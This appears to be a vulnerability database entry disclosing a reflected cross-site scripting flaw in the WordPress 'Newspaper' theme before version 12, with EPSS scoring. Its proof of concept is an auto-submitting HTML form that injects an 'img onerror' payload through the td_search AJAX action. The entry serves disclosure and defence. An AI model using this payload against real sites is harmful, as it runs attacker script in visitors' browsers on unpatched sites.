Lucene search

K
wpexploitRamon DunkerWPEX-ID:038327D0-568F-4011-9B7E-3DA39E8B6AEA
HistoryOct 10, 2022 - 12:00 a.m.

Newspaper < 12 - Reflected Cross-Site Scripting

2022-10-1000:00:00
Ramon Dunker
227
html
form action
post method
hidden input
onerror
alert
xss
script

0.001 Low

EPSS

Percentile

43.6%

The theme does not sanitise a parameter before outputting it back in an HTML attribute via an AJAX action, leading to a Reflected Cross-Site Scripting.

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="td_ajax_search" />
      <input type="hidden" name="td_string" value="<img src=a onerror=alert(/XSS/)>" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

0.001 Low

EPSS

Percentile

43.6%

Related for WPEX-ID:038327D0-568F-4011-9B7E-3DA39E8B6AEA